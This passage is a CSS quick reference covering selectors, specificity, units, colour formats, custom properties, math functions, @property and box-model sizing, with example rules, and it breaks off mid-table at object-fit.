1. CSS Syntax and Selectors Quick Reference

1.1 CSS Syntax Fundamentals and Structure

Component Syntax Description Example
Rule Set selector { property: value; } Complete CSS rule with selector and declarations h1 { color: blue; }
Selector element, .class, #id Targets HTML elements for styling div, .container, #main
Declaration Block { prop1: val1; prop2: val2; } Contains one or more declarations wrapped in braces { margin: 0; padding: 10px; }
Declaration property: value; Single property-value pair with semicolon font-size: 16px;
Property color, margin, display CSS attribute to style elements background-color
Value keyword | length | % Assigned to property, can be keyword, number, color, etc. red, 10px, 50%, auto
Comments /* comment */ Single or multi-line comments ignored by browser /* Main header styles */
At-Rules @rule { } Special instructions starting with @ @media, @import, @keyframes
Multiple Selectors sel1, sel2, sel3 { } Comma-separated selectors share same declarations h1, h2, h3 { margin: 0; }

Example: Complete CSS rule structure

/* Comment describing the rule */
.container {
    /* Property: Value pairs */
    display: flex;
    padding: 20px;
    background-color: #f0f0f0;
}

/* Multiple selectors */
h1, h2, h3 {
    font-family: Arial, sans-serif;
    color: #333;
}

1.2 Basic Selectors (element, class, id, universal)

Selector Type Syntax Description Example Specificity
Universal * Selects all elements in document * { margin: 0; } 0,0,0
Type/Element element Selects all elements of specified type p { line-height: 1.5; } 0,0,1
Class .classname Selects all elements with specific class attribute .button { padding: 10px; } 0,1,0
ID #idname Selects single element with specific id attribute #header { width: 100%; } 1,0,0
Multiple Classes .class1.class2 Selects elements with all specified classes .btn.primary { } 0,2,0
Element + Class element.class Selects specific element type with class div.container { } 0,1,1

Example: Basic selector usage

/* Universal - affects all elements */
* { box-sizing: border-box; }

/* Element selector */
p { color: #333; }

/* Class selector */
.alert { background: yellow; }

/* ID selector */
#main-nav { position: fixed; }

/* Multiple classes */
.btn.primary { background: blue; }

/* Element with class */
button.submit { font-weight: bold; }

1.3 Advanced Selector Patterns and Combinators

Combinator Syntax Description Example
Descendant A B Selects B elements inside A (any level deep) div p { color: red; }
Child A > B Selects B elements that are direct children of A ul > li { margin: 5px; }
Adjacent Sibling A + B Selects B immediately following A (same parent) h1 + p { font-size: 1.2em; }
General Sibling A ~ B Selects all B siblings after A (same parent) h1 ~ p { margin-top: 10px; }
Column Combinator A || B Selects B elements belonging to column A (tables) col.selected || td { }

Example: Combinator usage patterns

/* Descendant - any level */
.container p { padding: 10px; }

/* Direct child only */
nav > ul { list-style: none; }

/* Adjacent sibling - immediately after */
label + input { margin-left: 10px; }

/* General siblings - all after */
h2 ~ p { color: gray; }

/* Complex combination */
article > header + section p { line-height: 1.6; }
Note: Descendant selector (A B) has lower performance than child selector (A > B) since it traverses entire DOM tree.

1.4 Attribute Selectors and Values

Selector Syntax Description Example
Has Attribute [attr] Selects elements with specified attribute [disabled] { opacity: 0.5; }
Exact Match [attr="value"] Attribute value exactly matches [type="text"] { border: 1px; }
Contains Word [attr~="value"] Attribute contains value as complete word [class~="active"] { }
Starts With [attr^="value"] Attribute value starts with specified string [href^="https"] { }
Ends With [attr$="value"] Attribute value ends with specified string [src$=".pdf"] { }
Contains Substring [attr*="value"] Attribute contains substring anywhere [href*="example"] { }
Starts With (dash) [attr|="value"] Value exactly or followed by hyphen (lang codes) [lang|="en"] { }
Case Insensitive [attr="value" i] Case-insensitive attribute matching [href$=".PDF" i] { }
Case Sensitive [attr="value" s] Case-sensitive matching (default in most cases) [type="Text" s] { }

Example: Attribute selector patterns

/* Has attribute */
input[required] { border-color: red; }

/* Exact value */
input[type="email"] { background: #f0f0f0; }

/* Starts with */
a[href^="https://"] { color: green; }
a[href^="http://"] { color: orange; }

/* Ends with */
a[href$=".pdf"]::after { content: " (PDF)"; }

/* Contains */
img[src*="thumbnail"] { width: 100px; }

/* Case insensitive */
[data-state="active" i] { font-weight: bold; }

/* Multiple attributes */
input[type="text"][required] { border: 2px solid red; }

1.5 Pseudo-classes and Pseudo-elements

Common Pseudo-classes

Pseudo-class Description
:hover Mouse pointer over element
:active Element being activated (clicked)
:focus Element has keyboard focus
:focus-visible Focus via keyboard only
:visited Visited link
:link Unvisited link
:target Element matching URL fragment
:disabled Disabled form element
:enabled Enabled form element
:checked Checked checkbox/radio
:valid Valid form input
:invalid Invalid form input
:required Required form field
:optional Optional form field

Structural Pseudo-classes

Pseudo-class Description
:first-child First child of parent
:last-child Last child of parent
:only-child Only child of parent
:first-of-type First of its element type
:last-of-type Last of its element type
:only-of-type Only of its element type
:nth-child(n) Nth child (1-indexed)
:nth-last-child(n) Nth from end
:nth-of-type(n) Nth of element type
:nth-last-of-type(n) Nth of type from end
:empty No children or text
:root Document root element
:not(selector) Does not match selector
Pseudo-element Syntax Description Use Case
::before element::before { content: ""; } Inserts content before element's content Icons, decorative elements
::after element::after { content: ""; } Inserts content after element's content Clearfix, decorative elements
::first-line p::first-line { } Styles first line of block element Drop caps, emphasis
::first-letter p::first-letter { } Styles first letter of block element Drop caps, initial letter
::selection ::selection { } User-selected text portion Custom highlight colors
::placeholder input::placeholder { } Input placeholder text Placeholder styling
::marker li::marker { } List item marker (bullet/number) Custom bullet colors
::backdrop dialog::backdrop { } Backdrop behind dialog/fullscreen element Modal overlays

Example: Pseudo-classes and pseudo-elements

/* User interaction pseudo-classes */
a:hover { color: blue; }
button:active { transform: scale(0.95); }
input:focus { outline: 2px solid blue; }

/* Structural pseudo-classes */
li:first-child { font-weight: bold; }
tr:nth-child(even) { background: #f0f0f0; }
tr:nth-child(odd) { background: white; }
p:not(.special) { color: gray; }

/* Form state pseudo-classes */
input:disabled { opacity: 0.5; }
input:valid { border-color: green; }
input:invalid { border-color: red; }

/* Pseudo-elements */
.quote::before { content: "❝"; }
.quote::after { content: "❞"; }
p::first-letter { font-size: 2em; float: left; }
::selection { background: yellow; color: black; }
Note: Use :: (double colon) for pseudo-elements and : (single colon) for pseudo-classes. ::before and ::after require content property to display.

1.6 Specificity Rules and Cascade Resolution

Specificity Level Value Selector Type Example
Inline Styles 1,0,0,0 Style attribute on element <div style="color: red">
IDs 0,1,0,0 ID selectors #header { }
Classes/Attributes 0,0,1,0 Class, attribute, pseudo-class .btn, [type], :hover
Elements 0,0,0,1 Element, pseudo-element div, ::before
Universal 0,0,0,0 Universal, combinators *, >, +, ~
Calculation Example Selector IDs Classes Elements Specificity
Simple p 0 0 1 0,0,1
Class .button 0 1 0 0,1,0
ID #main 1 0 0 1,0,0
Compound div.container 0 1 1 0,1,1
Complex #nav ul li a:hover 1 1 3 1,1,3
Multiple Classes .btn.primary.large 0 3 0 0,3,0

Example: Specificity calculation and cascade order

/* Specificity: 0,0,1 */
p { color: black; }

/* Specificity: 0,1,0 - wins over above */
.text { color: blue; }

/* Specificity: 0,1,1 - wins over .text */
p.text { color: green; }

/* Specificity: 1,0,0 - wins over all above */
#main { color: red; }

/* !important overrides specificity */
p { color: purple !important; } /* Wins over everything */

/* Equal specificity - last rule wins */
.box { color: blue; }
.box { color: red; } /* This applies */
Warning: Avoid !important as it breaks natural cascade and makes debugging difficult. Use higher specificity instead. Only use for utility classes or overriding third-party styles.

Cascade Order (Priority from highest to lowest)

  1. User agent !important declarations
  2. User !important declarations
  3. Author !important declarations
  4. Author normal declarations
  5. User normal declarations
  6. User agent normal declarations

Within same origin: Inline styles > IDs > Classes/Attributes > Elements

If equal specificity: Last declared wins

1.7 CSS4 Selector Features (:is, :where, :has) NEW

Selector Syntax Description Specificity
:is() :is(sel1, sel2, ...) Matches any selector in list; specificity = highest selector Takes highest
:where() :where(sel1, sel2, ...) Same as :is() but always has 0 specificity 0,0,0
:has() :has(selector) Parent selector - matches element containing selector From argument
:not() :not(sel1, sel2, ...) Negation - matches elements not matching any selector From argument

Example: :is() selector simplification

/* Traditional approach - verbose */
header a:hover,
footer a:hover,
aside a:hover {
    color: blue;
}

/* Using :is() - much shorter */
:is(header, footer, aside) a:hover {
    color: blue;
}

/* Specificity example */
:is(#id, .class) { } /* Specificity: 1,0,0 (from #id) */
:where(#id, .class) { } /* Specificity: 0,0,0 */

Example: :where() for zero specificity

/* Library/framework base styles with 0 specificity */
:where(h1, h2, h3, h4, h5, h6) {
    margin: 0;
    font-weight: bold;
}

/* User styles easily override without !important */
h1 { margin: 20px 0; } /* Overrides above */

/* Use case: default styles that are easy to override */
:where(.btn) {
    padding: 10px;
    border: none;
}
.btn { padding: 20px; } /* Easily overrides */

Example: :has() parent/relational selector NEW

/* Style parent based on child */
article:has(> img) {
    display: grid;
}

/* Form with invalid input */
form:has(input:invalid) {
    border: 2px solid red;
}

/* Card with .featured class inside */
.card:has(.featured) {
    background: gold;
}

/* List item containing link */
li:has(> a) {
    cursor: pointer;
}

/* Previous sibling selector (works with :has) */
li:has(+ li:hover) {
    color: blue;
}

/* Conditional layout */
section:has(> .sidebar) {
    display: grid;
    grid-template-columns: 3fr 1fr;
}

Example: :not() negation selector

/* All paragraphs except .special */
p:not(.special) {
    color: gray;
}

/* Multiple negations (CSS4) */
button:not(.primary):not(.secondary) {
    background: white;
}

/* Not with attribute */
input:not([type="submit"]) {
    border: 1px solid gray;
}

/* Complex negation */
li:not(:first-child):not(:last-child) {
    border-top: 1px solid #ddd;
}

Browser Support

Feature Support
:is() Modern Browsers
:where() Modern Browsers
:has() Chrome 105+, Safari 15.4+
:not() multi Modern Browsers

Use Cases

Feature Best For
:is() Reduce selector duplication
:where() Default/framework styles
:has() Parent/conditional styling
:not() Exclusion patterns
Note: :has() is powerful but can impact performance with complex queries. Use specific selectors and avoid deeply nested :has() chains. Test performance in production environments.

2. Values, Units, and Modern CSS Data Types

2.1 Length Units (px, em, rem, ch, ex, vw, vh, vi, vb)

Unit Type Description Relative To Use Case
px Absolute Pixels - 1px = 1/96th of 1 inch Device pixel ratio Borders, shadows, fixed layouts
em Relative Relative to parent element's font-size Parent font-size Spacing within components
rem Relative Relative to root (html) element font-size Root font-size (16px default) Consistent spacing, typography
% Relative Percentage of parent element Parent dimension Fluid layouts, responsive sizing
vw Viewport 1% of viewport width Viewport width Full-width elements, responsive typography
vh Viewport 1% of viewport height Viewport height Full-height sections, hero images
vmin Viewport 1% of smaller viewport dimension min(vw, vh) Square elements, responsive sizing
vmax Viewport 1% of larger viewport dimension max(vw, vh) Cover backgrounds, overlays
ch Font-relative Width of "0" character in font Font character width Input fields, monospace layouts
ex Font-relative Height of "x" character (x-height) Font x-height Vertical alignment, typography
vi NEW Logical Viewport 1% of viewport inline direction Inline axis (width in LTR) Logical responsive design
vb NEW Logical Viewport 1% of viewport block direction Block axis (height in LTR) Logical responsive design
svw/svh NEW Small Viewport Small viewport units (mobile UI visible) Small viewport size Mobile with UI bars visible
lvw/lvh NEW Large Viewport Large viewport units (mobile UI hidden) Large viewport size Mobile with UI bars hidden
dvw/dvh NEW Dynamic Viewport Dynamically updates with viewport changes Current viewport size Handles mobile browser UI changes

Example: Length unit comparisons

/* Absolute */
.box { width: 300px; } /* Fixed size */

/* Font-relative */
.text { 
    font-size: 1.5rem;    /* 24px if root is 16px */
    padding: 1em;         /* 24px (relative to own font-size) */
    margin-bottom: 2rem;  /* 32px (relative to root) */
}

/* Viewport units */
.hero { height: 100vh; }    /* Full viewport height */
.banner { width: 100vw; }   /* Full viewport width */
.square { width: 50vmin; height: 50vmin; } /* Square */

/* Font-based */
input { width: 20ch; }  /* ~20 characters wide */

/* New viewport units for mobile */
.mobile-hero {
    height: 100dvh;  /* Dynamic - handles browser UI */
}
Note: Use rem for typography and spacing (consistent, accessible). Use em for component-scoped spacing. Use px for borders and shadows. Use dvh/dvw for mobile viewport issues.

2.2 Color Values (hex, rgb, hsl, hwb, lab, lch, oklab)

Format Syntax Description Example Support
Named Colors name 147 predefined color keywords red, blue, tomato All
Hexadecimal #RRGGBB / #RGB RGB values in hex (optional alpha) #ff0000, #f00, #ff0000ff All
RGB rgb(r g b / a) Red, Green, Blue (0-255 or 0-100%) rgb(255 0 0 / 0.5) All
HSL hsl(h s l / a) Hue (0-360°), Saturation, Lightness hsl(0 100% 50%) All
HWB NEW hwb(h w b / a) Hue, Whiteness, Blackness (intuitive) hwb(0 0% 0%) Modern
LAB NEW lab(l a b / alpha) Perceptual color space (wide gamut) lab(50% 40 -50) Modern
LCH NEW lch(l c h / alpha) Lightness, Chroma, Hue (perceptual) lch(50% 70 180) Modern
OKLAB NEW oklab(l a b / alpha) Improved LAB with better hue uniformity oklab(0.5 0.1 -0.1) Modern
OKLCH NEW oklch(l c h / alpha) Improved LCH (best for manipulation) oklch(0.5 0.2 180) Modern
color() NEW color(space r g b) Specify color space explicitly color(display-p3 1 0 0) Modern

Example: Color format usage

/* Traditional formats */
.hex { color: #ff0000; }
.rgb { color: rgb(255 0 0); }
.rgba { color: rgb(255 0 0 / 0.5); }
.hsl { color: hsl(0 100% 50%); }
.hsla { color: hsl(0 100% 50% / 0.5); }

/* Modern formats - better for manipulation */
.hwb { color: hwb(0 0% 0%); }  /* Pure red */
.lch { color: lch(50% 70 40); } /* Perceptual uniformity */
.oklch { color: oklch(0.6 0.25 30); } /* Best for gradients */

/* Wide gamut colors */
.p3 { color: color(display-p3 1 0 0); } /* Vivid red */
.rec2020 { color: color(rec2020 1 0 0); }

/* Transparent keyword */
.transparent { background: transparent; }

/* currentColor - inherits text color */
.border { border: 2px solid currentColor; }
Note: Use OKLCH for color manipulation (tints, shades, palettes) - it's perceptually uniform. Use HSL for broad compatibility. Use RGB/Hex for simple colors.

2.3 CSS Custom Properties (Variables) and calc()

Feature Syntax Description Example
Declaration --name: value; Define custom property with double dash --primary-color: blue;
Usage var(--name) Reference custom property value color: var(--primary-color);
Fallback var(--name, fallback) Provide fallback if variable undefined color: var(--color, red);
Scope :root, element Variables inherit down DOM tree :root { --size: 16px; }
calc() calc(expression) Mathematical calculations with mixed units calc(100% - 20px)
Operators + - * / Addition, subtraction, multiplication, division calc(2 * 10px + 5%)

Example: CSS Custom Properties (Variables)

/* Global variables in :root */
:root {
    --primary-color: #007acc;
    --secondary-color: #ff6600;
    --spacing-unit: 8px;
    --font-size-base: 16px;
    --border-radius: 4px;
}

/* Using variables */
.button {
    background: var(--primary-color);
    padding: calc(var(--spacing-unit) * 2);
    border-radius: var(--border-radius);
    font-size: var(--font-size-base);
}

/* Scoped variables */
.dark-theme {
    --primary-color: #4fc3f7;
    --bg-color: #1e1e1e;
}

/* Fallback values */
.card {
    padding: var(--card-padding, 20px); /* 20px if not defined */
}

/* Nested var() */
.element {
    --size: 100px;
    --half: calc(var(--size) / 2);
    width: var(--half); /* 50px */
}

Example: calc() function usage

/* Mixed unit calculations */
.container {
    width: calc(100% - 40px);
    height: calc(100vh - 60px);
    padding: calc(1rem + 10px);
}

/* With variables */
.responsive {
    --header-height: 60px;
    --footer-height: 40px;
    height: calc(100vh - var(--header-height) - var(--footer-height));
}

/* Complex expressions */
.grid {
    width: calc((100% - 3 * 10px) / 4); /* 4 columns with 10px gaps */
}

/* Negative values */
.offset {
    margin-left: calc(-1 * var(--spacing));
}

/* Nested calc (auto-flattened) */
.element {
    width: calc(calc(100% / 3) - 20px);
}

2.4 CSS Functions (min, max, clamp, round, mod, rem) NEW

Function Syntax Description Use Case
min() min(val1, val2, ...) Returns smallest value from list Maximum width constraints
max() max(val1, val2, ...) Returns largest value from list Minimum width constraints
clamp() clamp(min, ideal, max) Value between min and max bounds Responsive typography, fluid sizing
round() NEW round(strategy, val, step) Round to nearest, up, down, or to-zero Grid alignment, snapping
mod() NEW mod(dividend, divisor) Modulo operation (remainder) Cyclic patterns, alternating styles
rem() NEW rem(dividend, divisor) Remainder operation (like % in calc) Pattern calculations
abs() NEW abs(value) Absolute value Distance calculations
sign() NEW sign(value) Returns -1, 0, or 1 Directional logic

Example: min(), max(), clamp() for responsive design

/* min() - maximum constraint */
.container {
    width: min(100%, 1200px); /* Never wider than 1200px */
    padding: min(5vw, 40px);  /* Responsive but capped */
}

/* max() - minimum constraint */
.button {
    font-size: max(16px, 1vw); /* Never smaller than 16px */
    padding: max(10px, 1em);
}

/* clamp() - fluid between bounds */
.heading {
    font-size: clamp(1.5rem, 5vw, 3rem);
    /* Min: 1.5rem, Ideal: 5vw, Max: 3rem */
}

.responsive-spacing {
    margin: clamp(1rem, 3vw, 3rem);
    padding: clamp(0.5rem, 2vw, 2rem);
}

/* Combining functions */
.card {
    width: clamp(200px, 50%, 500px);
    padding: max(1rem, 2vw);
    gap: min(20px, 3%);
}

Example: New math functions (round, mod, rem)

/* round() function */
.grid-item {
    /* Round to nearest 10px */
    width: round(nearest, 23.7px, 10px); /* = 20px */
    
    /* Round up */
    height: round(up, 43px, 10px); /* = 50px */
    
    /* Round down */
    margin: round(down, 47px, 10px); /* = 40px */
}

/* mod() for cyclic patterns */
.item {
    /* Alternate colors every 3 items */
    --index: 5;
    --cycle: mod(var(--index), 3); /* = 2 (5 % 3) */
}

/* rem() for remainder */
.pattern {
    --offset: rem(127px, 50px); /* = 27px */
}

/* abs() for absolute values */
.transform {
    --distance: abs(-50px); /* = 50px */
}

/* Practical example: snap to grid */
.snap-grid {
    width: round(nearest, var(--dynamic-width), 20px);
    height: round(nearest, var(--dynamic-height), 20px);
}

2.5 Container Query Units (cqw, cqh, cqi, cqb) NEW

Unit Description Relative To Use Case
cqw 1% of container's width Query container width Component responsive typography
cqh 1% of container's height Query container height Vertical responsive components
cqi 1% of container's inline size Container inline dimension Logical responsive design
cqb 1% of container's block size Container block dimension Logical responsive design
cqmin Smaller of cqi or cqb Container smaller dimension Square components
cqmax Larger of cqi or cqb Container larger dimension Cover layouts

Example: Container query units setup

/* Define container */
.container {
    container-type: inline-size;
    /* or: size (both dimensions) */
    /* or: normal (default, no containment) */
    container-name: card; /* Optional name */
}

/* Use container query units inside */
.card-title {
    font-size: clamp(1rem, 5cqw, 2rem);
    /* Responsive to container width, not viewport */
}

.card-content {
    padding: 2cqw;  /* 2% of container width */
    gap: 1cqh;      /* 1% of container height */
}

/* Named container queries */
@container card (min-width: 400px) {
    .card-title {
        font-size: 3cqw; /* 3% of container named "card" */
    }
}

/* Component entirely responsive to its container */
.product-card {
    container-type: inline-size;
}

.product-title {
    font-size: clamp(0.875rem, 4cqi + 0.5rem, 1.5rem);
}

.product-image {
    width: 100%;
    height: 50cqh; /* 50% of container height */
}
Note: Container query units enable component-scoped responsive design. Use cqw/cqi for typography and spacing relative to container, not viewport. Requires container-type on parent.

2.6 CSS4 Math Functions and Trigonometry NEW

Function Syntax Description Returns
sin() sin(angle) Sine of angle Number between -1 and 1
cos() cos(angle) Cosine of angle Number between -1 and 1
tan() tan(angle) Tangent of angle Number (unbounded)
asin() asin(number) Arc sine (inverse sine) Angle in radians
acos() acos(number) Arc cosine (inverse cosine) Angle in radians
atan() atan(number) Arc tangent (inverse tangent) Angle in radians
atan2() atan2(y, x) Arc tangent of y/x in correct quadrant Angle in radians
sqrt() sqrt(number) Square root Non-negative number
pow() pow(base, exponent) Exponentiation (base^exponent) Number
hypot() hypot(x, y, ...) Hypotenuse: √(x² + y² + ...) Non-negative number
log() log(value, base?) Logarithm (default base e) Number
exp() exp(exponent) e raised to power (e^x) Number

Example: Trigonometric functions for circular layouts

/* Circular positioning */
.item {
    --angle: 45deg;
    --radius: 100px;
    
    /* Calculate x, y positions on circle */
    --x: calc(cos(var(--angle)) * var(--radius));
    --y: calc(sin(var(--angle)) * var(--radius));
    
    transform: translate(var(--x), var(--y));
}

/* Diagonal line length using Pythagorean theorem */
.diagonal {
    --width: 100px;
    --height: 100px;
    --length: hypot(var(--width), var(--height)); /* √(100² + 100²) */
}

/* Wave animation offset */
@keyframes wave {
    to {
        transform: translateY(calc(sin(var(--time)) * 20px));
    }
}

/* Circular progress indicator */
.progress-circle {
    --progress: 0.75; /* 75% */
    --angle: calc(var(--progress) * 360deg);
    background: conic-gradient(
        blue calc(var(--angle)),
        lightgray 0
    );
}

/* Scaling with easing curves */
.smooth-scale {
    --t: 0.5; /* time factor 0-1 */
    scale: calc(1 + sin(var(--t) * 3.14159));
}

Example: Power and logarithmic functions

/* Exponential scaling */
.exponential {
    --base: 2;
    --level: 3;
    font-size: calc(pow(var(--base), var(--level)) * 1px); /* 2³ = 8px */
}

/* Square root for maintaining aspect ratio */
.aspect-box {
    --area: 10000; /* 100 x 100 */
    width: calc(sqrt(var(--area)) * 1px); /* 100px */
    height: calc(sqrt(var(--area)) * 1px);
}

/* Logarithmic scaling (audio visualizers) */
.audio-bar {
    --frequency: 1000;
    --scale: log(var(--frequency), 10); /* log base 10 */
    height: calc(var(--scale) * 20px);
}

/* Natural exponential growth */
.growth {
    --rate: 0.5;
    scale: exp(var(--rate)); /* e^0.5 ≈ 1.648 */
}
Warning: Trigonometric functions use radians or degree units. Use deg, rad, grad, or turn units. Performance impact on complex calculations - use sparingly.

2.7 CSS Typed OM and Houdini Properties BETA

Feature Syntax Description Use Case
@property @property --name { } Register custom property with type, syntax, inheritance Animated custom properties, type safety
syntax syntax: "<color>"; Define value type: color, length, number, etc. Type checking, animation interpolation
inherits inherits: true | false; Whether property inherits down tree Control inheritance behavior
initial-value initial-value: value; Default value for property Fallback, required for animation
Syntax Type Value Description Example
<length> Length value Distances with units (px, rem, etc.) 10px, 2rem
<number> Numeric value Unitless numbers 1.5, 42
<percentage> Percentage Values with % unit 50%, 100%
<length-percentage> Length or % Either length or percentage 10px, 50%
<color> Color value Any valid color #fff, rgb(...)
<image> Image value URLs, gradients url(...), linear-gradient(...)
<angle> Angle value Angles with units (deg, rad, etc.) 45deg, 1rad
<time> Time value Duration with units (s, ms) 2s, 500ms
* Universal Any value (no type checking) Any valid CSS value
| Or operator Multiple allowed types "<length> | <percentage>"

Example: @property registration for animations

/* Register custom property with type */
@property --gradient-angle {
    syntax: "<angle>";
    inherits: false;
    initial-value: 0deg;
}

/* Now can animate it smoothly */
.gradient-box {
    background: linear-gradient(
        var(--gradient-angle),
        blue,
        purple
    );
    transition: --gradient-angle 1s;
}

.gradient-box:hover {
    --gradient-angle: 360deg; /* Smooth rotation */
}

/* Numeric property for smooth transitions */
@property --progress {
    syntax: "<number>";
    inherits: false;
    initial-value: 0;
}

.progress-bar {
    --progress: 0.75;
    width: calc(var(--progress) * 100%);
    transition: --progress 500ms ease-out;
}

Example: Complex @property definitions

/* Color property for theme switching */
@property --theme-color {
    syntax: "<color>";
    inherits: true;
    initial-value: #007acc;
}

/* Multiple types allowed */
@property --spacing {
    syntax: "<length> | <percentage>";
    inherits: true;
    initial-value: 1rem;
}

/* Universal syntax (any value) */
@property --custom-value {
    syntax: "*";
    inherits: false;
    initial-value: auto;
}

/* Length with specific constraints */
@property --max-width {
    syntax: "<length>";
    inherits: false;
    initial-value: 1200px;
}

/* Usage in animations */
@keyframes colorChange {
    from { --theme-color: blue; }
    to { --theme-color: red; }
}

.animated {
    animation: colorChange 2s infinite;
    background: var(--theme-color);
}
Note: @property enables smooth animation of custom properties by defining their type. Without it, custom properties animate discretely (no interpolation). Required for animating colors, numbers, angles, etc.

Value & Unit Best Practices

  • Use rem for typography and spacing (accessibility)
  • Use clamp() for fluid responsive typography
  • Use OKLCH/LCH for color manipulation and gradients
  • Use container query units for component-scoped responsive design
  • Register custom properties with @property for smooth animations
  • Use calc() with CSS variables for maintainable calculations
  • Use dvh/dvw instead of vh/vw on mobile for browser UI issues

3. Box Model and Layout Fundamentals

3.1 Content, Padding, Border, Margin Model

Layer Properties Description Affects Layout
Content width, height Innermost box containing text, images, children Yes - element size
Padding padding, padding-* Space between content and border (inside element) Yes - adds to total size
Border border, border-* Edge around padding (visible boundary) Yes - adds to total size
Margin margin, margin-* Space outside border (separates from other elements) Yes - spacing only (not size)
Property Shorthand Syntax Description Example
margin/padding all Same value for all 4 sides margin: 10px;
margin/padding vertical horizontal Top/bottom, left/right padding: 10px 20px;
margin/padding top h-sides bottom Top, left/right, bottom margin: 10px 20px 30px;
margin/padding top right bottom left Clockwise from top padding: 10px 20px 30px 40px;
Individual sides *-top/right/bottom/left Set individual side values margin-top: 10px;
auto margin: auto; Browser calculates (centers block elements) margin: 0 auto;

Example: Box model layers

/* Traditional box model (content-box) */
.box {
    width: 200px;         /* Content width */
    height: 100px;        /* Content height */
    padding: 20px;        /* +40px to width, +40px to height */
    border: 5px solid;    /* +10px to width, +10px to height */
    margin: 10px;         /* Spacing outside (doesn't add to size) */
    /* Total width: 200 + 40 + 10 = 250px */
    /* Total height: 100 + 40 + 10 = 150px */
}

/* Shorthand patterns */
.padding-all { padding: 20px; } /* All sides */
.padding-vh { padding: 10px 20px; } /* V: 10px, H: 20px */
.padding-3 { padding: 10px 20px 30px; } /* T: 10px, H: 20px, B: 30px */
.padding-4 { padding: 10px 20px 30px 40px; } /* T R B L (clockwise) */

/* Centering with auto margin */
.centered {
    width: 80%;
    max-width: 1200px;
    margin: 0 auto; /* Horizontal centering */
}

/* Individual sides */
.custom {
    margin-top: 2rem;
    margin-bottom: 1rem;
    padding-left: 1.5rem;
    padding-right: 1.5rem;
}
Note: Margin collapse - Adjacent vertical margins collapse to the larger value. Padding never collapses. Margins can be negative, padding cannot.

3.2 Box-sizing Property and Calculations

Value Calculation Description Use Case
content-box width/height = content only Default - padding/border added to width/height CSS default (not recommended)
border-box width/height includes padding + border Padding/border included in width/height Modern best practice (intuitive)
box-sizing Width Calculation Total Width Behavior
content-box width + padding + border + margin Larger than set width Padding/border expands element
border-box width (includes padding + border) + margin Exactly set width Padding/border eat into content

Example: box-sizing comparison

/* Global best practice - apply to all elements */
*, *::before, *::after {
    box-sizing: border-box;
}

/* content-box example (default) */
.content-box {
    box-sizing: content-box;
    width: 200px;
    padding: 20px;
    border: 5px solid;
    /* Total width: 200 + 20*2 + 5*2 = 250px */
}

/* border-box example (recommended) */
.border-box {
    box-sizing: border-box;
    width: 200px;
    padding: 20px;
    border: 5px solid;
    /* Total width: 200px (includes padding and border) */
    /* Content width: 200 - 20*2 - 5*2 = 150px */
}

/* Practical use - predictable layouts */
.container {
    box-sizing: border-box;
    width: 100%;
    padding: 20px; /* Doesn't cause horizontal overflow */
}
Note: Always use border-box globally. It makes layouts predictable - width: 100% with padding won't cause overflow. Industry standard since 2012.

3.3 Intrinsic and Extrinsic Sizing

Type Keywords Description Use Case
Extrinsic px, %, em, rem, etc. Fixed or relative to parent/viewport Controlled, predictable layouts
Intrinsic auto, min-content, max-content, fit-content Based on content size Content-driven, flexible layouts
Keyword Behavior Description Example
auto Default sizing Block: fills container width; Inline: fits content width: auto;
min-content Minimum width Shrinks to smallest possible (longest word/unbreakable content) width: min-content;
max-content Maximum width Expands to fit all content without wrapping width: max-content;
fit-content Adaptive width Uses max-content up to available space, then wraps width: fit-content;
fit-content(limit) Clamped adaptive Like fit-content but with maximum limit width: fit-content(300px);
stretch NEW Fill available Fills available space (replaces old -webkit-fill-available) width: stretch;

Example: Intrinsic sizing keywords

/* min-content - smallest possible width */
.min-width {
    width: min-content;
    /* Width = longest word or unbreakable content */
}

/* max-content - no wrapping */
.max-width {
    width: max-content;
    /* Expands to fit all content on one line */
}

/* fit-content - smart adaptive */
.fit-width {
    width: fit-content;
    /* Uses max-content if space available, otherwise wraps */
    max-width: 100%; /* Prevent overflow */
}

/* fit-content with limit */
.limited {
    width: fit-content(500px);
    /* Max 500px, shrinks if less space available */
}

/* Practical: button sizing */
button {
    width: fit-content; /* Wraps text naturally */
    min-width: 120px;   /* Minimum size */
}

/* Stretch - fill available space */
.stretch {
    width: stretch; /* Fills parent (like width: 100%) */
}

Example: Practical intrinsic sizing patterns

/* Card with dynamic width based on content */
.card {
    width: fit-content;
    min-width: 250px;
    max-width: 100%;
}

/* Table column sizing */
th, td {
    width: max-content; /* Fit content without wrapping */
}

/* Navigation items */
.nav-item {
    width: fit-content; /* Shrinks to content */
    padding: 0.5rem 1rem;
}

/* Grid with intrinsic columns */
.grid {
    display: grid;
    grid-template-columns: 
        min-content    /* Icon/image column - smallest possible */
        1fr            /* Main content - fills space */
        max-content;   /* Action buttons - no wrap */
}

3.4 Aspect-ratio Property and Constraints NEW

Property Syntax Description Use Case
aspect-ratio width / height Maintains width-to-height ratio Responsive images, video embeds, cards
Common ratios 16/9, 4/3, 1/1, etc. Standard display proportions Video (16:9), Square (1:1), Portrait (3:4)
auto auto Uses intrinsic aspect ratio if available Images with natural dimensions
With width/height Dimension + aspect-ratio One dimension set, other calculated from ratio Responsive sizing with constraints

Example: aspect-ratio usage

/* Video container - 16:9 ratio */
.video-wrapper {
    width: 100%;
    aspect-ratio: 16 / 9;
    /* Height automatically calculated */
}

/* Square elements */
.avatar {
    width: 100px;
    aspect-ratio: 1 / 1; /* Square */
}

/* Card with consistent ratio */
.card {
    width: 100%;
    max-width: 400px;
    aspect-ratio: 3 / 4; /* Portrait card */
}

/* Image placeholder before loading */
.image-placeholder {
    width: 100%;
    aspect-ratio: 16 / 9;
    background: #f0f0f0;
}

/* Responsive grid items maintaining ratio */
.grid-item {
    width: 100%;
    aspect-ratio: 4 / 3;
}

/* With min/max constraints */
.constrained {
    aspect-ratio: 1 / 1;
    width: clamp(100px, 50vw, 500px);
    /* Height follows aspect ratio */
}

Example: Replacing padding-top hack

/* OLD WAY - padding-top hack */
.old-ratio {
    position: relative;
    width: 100%;
    padding-top: 56.25%; /* 16:9 ratio (9/16 = 0.5625) */
}

.old-ratio > * {
    position: absolute;
    top: 0;
    left: 0;
    width: 100%;
    height: 100%;
}

/* NEW WAY - aspect-ratio property */
.new-ratio {
    width: 100%;
    aspect-ratio: 16 / 9; /* Much simpler! */
}

/* Combining with object-fit for images */
.responsive-image {
    width: 100%;
    aspect-ratio: 16 / 9;
    object-fit: cover; /* Fill without distortion */
}
Note: aspect-ratio replaces the old padding-top hack. Works with any dimension - set width or height, the other is calculated. Respects min/max constraints.

3.5 Object-fit and Object-position for Media

Value Behavior Aspect Ratio Use Case
fill Stretch to fill container (default) Distorts to match Rare - causes distortion
